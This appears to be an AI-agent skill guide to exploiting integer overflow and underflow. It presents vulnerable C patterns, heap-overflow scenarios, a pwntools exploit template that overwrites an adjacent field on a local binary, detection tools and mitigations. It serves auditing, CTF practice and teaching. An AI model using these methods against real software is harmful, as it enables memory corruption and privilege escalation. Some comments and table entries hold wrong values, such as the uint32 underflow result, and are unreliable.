Integer Overflow & Underflow Exploitation

A comprehensive guide to identifying and exploiting integer overflow and underflow vulnerabilities in software.

When to Use This Skill

Use this skill when:

• Analyzing code for integer overflow/underflow vulnerabilities
• Exploiting buffer overflows caused by arithmetic bugs
• Auditing size calculations in memory allocation
• Working with binary exploitation challenges involving numeric types
• Testing Go code for silent integer wrapping
• Analyzing heap corruption from undersized allocations

Core Concepts

What is Integer Overflow?

Integer overflow occurs when an arithmetic operation produces a result that exceeds the maximum value representable by the data type, causing it to wrap around.

Key principle: The vulnerability arises from the size limitation of data types and how the system interprets the wrapped value.

Integer Type Limits

Type	Size (bits)	Min Value	Max Value
int8_t	8	-128	127
uint8_t	8	0	255
int16_t	16	-32,768	32,767
uint16_t	16	0	65,535
int32_t	32	-2,147,483,648	2,147,483,647
uint32_t	32	0	4,294,967,295
int64_t	64	-9,223,372,036,854,775,808	9,223,372,036,854,775,807
uint64_t	64	0	18,446,744,073,709,551,615

Note: On 64-bit systems:

short

=

int16_t

,

int

=

int32_t

,

long

=

int64_t

Vulnerability Patterns

Pattern 1: Truncation to Smaller Type

When a large calculation result is cast to a smaller type:

// Vulnerable: 64-bit product truncated to 32-bit
size_t count = 4294967296;  // 2^32
size_t elem_size = 1;
uint32_t alloc_size = (uint32_t)(count * elem_size);  // Becomes 0!

Exploitation: The allocation uses the truncated value (0 or small), but the copy uses the original large value, causing heap overflow.

Pattern 2: Signed to Unsigned Conversion

Negative signed values become large unsigned values:

int userInput = -1;
unsigned int processed = (unsigned int)userInput;  // 0xFFFFFFFF (4,294,967,295)

if (processed > 1000) {  // TRUE! -8 becomes huge unsigned
    // Dangerous code path
}

Pattern 3: Underflow in Subtraction

Subtracting a larger value from a smaller unsigned value:

size_t total_len = 8;
const size_t HEADER = 16;
size_t payload_len = total_len - HEADER;  // Underflows to huge number!
// payload_len = 0xFFFFFFFFFFFFFFF8 (18,446,744,073,709,551,608)

Pattern 4: Alignment Rounding Wrap

Some allocators round up without re-checking overflow:

size_t total_size = alloc_size + extra;
if (total_size % 8)
    total_size += (8 - total_size) % total_size;  // Can wrap!

For values near

0xFFFFFFFFFFFFFFF9

, the rounding addition wraps to a tiny value.

Exploitation Methodology

Step 1: Identify the Vulnerable Calculation

Look for:

• User-controlled values in arithmetic operations
• Type casts between signed/unsigned or different sizes
• Size calculations before memory allocation
• Subtraction operations on unsigned types
• Multiplication of user-controlled values

Step 2: Determine the Overflow/Underflow Point

Calculate what input causes the wrap:

• Overflow: Input that makes result > max value of type
• Underflow: Input that makes subtraction result < 0 (for unsigned)

Example: For 32-bit truncation, use

2^32 = 4294967296

to get 0.

Step 3: Map Memory Layout

Understand where the undersized buffer is relative to sensitive data:

struct session {
    int is_admin;      // Target to flip 0 → 1
    char note[64];
};

// Layout: [buffer][gap][session]
// If buffer is undersized, overflow can reach session->is_admin

Step 4: Craft the Payload

1. Calculate offset to the target field
2. Fill padding with arbitrary bytes
3. Write the exploit value (e.g.,

   p32(1)

   for little-endian 1)

# Example: Offset 48 bytes, then write 1 to is_admin
payload = b"A" * 48 + p32(1)

Step 5: Deliver and Verify

• Send the overflow-inducing parameters
• Send the payload that overflows the undersized buffer
• Verify the exploit succeeded (flag, privilege escalation, etc.)

Common Exploitation Scenarios

Scenario A: Heap Overflow via Undersized Allocation

Vulnerability:

uint32_t alloc32 = (uint32_t)(count * elem_size) + 32;
char *buf = malloc(alloc32);
read(buf, count * elem_size);  // Uses full size_t product!

Exploit:

1. Set

   count = 4294967296

   (2^32),

   elem_size = 1

2. alloc32 = 0 + 32 = 32

   bytes allocated

3. read()

   tries to read

   4294967296

   bytes
4. Overflow the 32-byte buffer to corrupt adjacent memory

Scenario B: Underflow Leading to Oversized Copy

Vulnerability:

size_t payload_len = total_len - HEADER;  // Underflows if total_len < HEADER
read(buf, payload_len);  // Reads huge amount!

Exploit:

1. Set

   total_len = 8

   (less than HEADER = 16)

2. payload_len

   underflows to

   0xFFFFFFFFFFFFFFF8

3. Buffer allocated for 8 bytes, but read tries to copy huge amount
4. Overflow corrupts adjacent structures

Scenario C: Signed/Unsigned Comparison Bypass

Vulnerability:

int length = get_user_input();
if (length < MAX_SIZE) {  // -1 < MAX_SIZE is TRUE
    unsigned int ulength = (unsigned int)length;  // -1 becomes huge
    process_buffer(ulength);  // Processes huge buffer!
}

Exploit:

1. Send negative value (e.g., -1)
2. Passes the signed comparison check
3. Becomes large unsigned value in actual processing
4. Triggers buffer overflow or resource exhaustion

Detection and Testing

Manual Code Review Checklist

• User input used in arithmetic without validation
• Type casts between signed/unsigned
• Type casts between different sizes (64→32, 32→16)
• Subtraction on unsigned types
• Multiplication of user-controlled values
• Size calculations before

  malloc

  /

  calloc

  /

  realloc

• Array indexing with user-controlled values
• Loop counters from user input

Automated Detection

Use the provided scripts:

# Analyze C/C++ code for potential overflow vulnerabilities
python scripts/analyze_overflow.py <source_file.c>

# Generate test cases for specific overflow patterns
python scripts/generate_overflow_tests.py --pattern truncation --type uint32

Go-Specific: go-panikint

Go silently wraps integers. Use go-panikint to detect overflows:

git clone https://github.com/trailofbits/go-panikint
cd go-panikint/src && ./make.bash
export GOROOT=/path/to/go-panikint
./bin/go test -fuzz=FuzzOverflowHarness

This turns silent wraps into panics with stack traces.

Mitigation Strategies

For Developers

1. Use safe arithmetic libraries:

   • C:

     __builtin_mul_overflow()

     ,

     __builtin_add_overflow()

   • Rust:

     checked_add()

     ,

     checked_mul()

     or

     saturating_*

     variants

2. Validate before calculation:

   if (count > SIZE_MAX / elem_size) return ERROR;  // Prevent overflow
   size_t total = count * elem_size;
   

3. Use consistent signedness:

   • Don't mix signed and unsigned in comparisons
   • Be explicit about type conversions

4. Enable compiler warnings:

   gcc -Woverflow -Wsign-compare -Wtype-limits
   clang -fsanitize=integer
   

For Security Auditors

1. Focus on allocation paths: Memory allocation based on user input is high-risk
2. Check API boundaries: Where user input enters the system
3. Review custom allocators: Often have subtle rounding bugs
4. Test edge cases: 0, 1, MAX, MAX+1, -1, -2

ARM64 Considerations

Integer overflow behavior does not change on ARM64. The same exploitation patterns apply:

• Same type sizes and limits
• Same wrapping behavior
• Same heap exploitation techniques

The main difference is the calling convention and register usage, not the arithmetic behavior.

Real-World Examples

CVE-2025-54957: Pixel 0-click

Dolby Unified Decoder had an allocator rounding bug:

• Attacker-controlled

  emdf_payload_size

  decoded with unbounded loop
• Rounding to 8-byte alignment wrapped for values near

  0xFFFFFFFFFFFFFFF9

• Result: Tiny allocation, huge write → heap overflow

Go Cosmos SDK Pagination

end := pageRequest.Offset + pageRequest.Limit

wrapped past

MaxUint64

, returning empty results instead of proper pagination.

Quick Reference

Overflow Triggers

Operation	Trigger Value	Result
uint8 + 1	255	0
uint16 + 1	65,535	0
uint32 + 1	4,294,967,295	0
uint32 * 2	2,147,483,648	0 (if result > 2^32)
uint32 cast	4,294,967,296	0

Underflow Triggers

Operation	Trigger	Result
uint32 - 1	0	4,294,967,295
uint32 - N	N-1	4,294,967,296 - N
uint64 - 1	0	18,446,744,073,709,551,615

Exploit Template

from pwn import *

def exploit_overflow():
    io = process("./vulnerable_binary")
    
    # 1. Send overflow-inducing parameters
    io.sendlineafter(b"count: ", b"4294967296")  # 2^32 → 0 in uint32
    io.sendlineafter(b"size: ", b"1")
    
    # 2. Wait for read
    io.recvuntil(b"Send payload")
    
    # 3. Craft payload: padding + exploit value
    payload = b"A" * OFFSET + p64(0x4141414141414141)  # Adjust offset and value
    
    # 4. Send and close
    io.send(payload)
    io.shutdown("send")  # Send EOF
    
    # 5. Read result
    print(io.recvall().decode())

Next Steps

1. Analyze code: Use

   scripts/analyze_overflow.py

   to find potential vulnerabilities
2. Generate tests: Use

   scripts/generate_overflow_tests.py

   to create test cases
3. Build exploit: Follow the methodology above to craft your exploit
4. Test iteratively: Adjust offsets and values based on results

For complex cases, examine the memory layout carefully and use debugging tools (gdb, lldb) to verify your understanding before crafting the final exploit.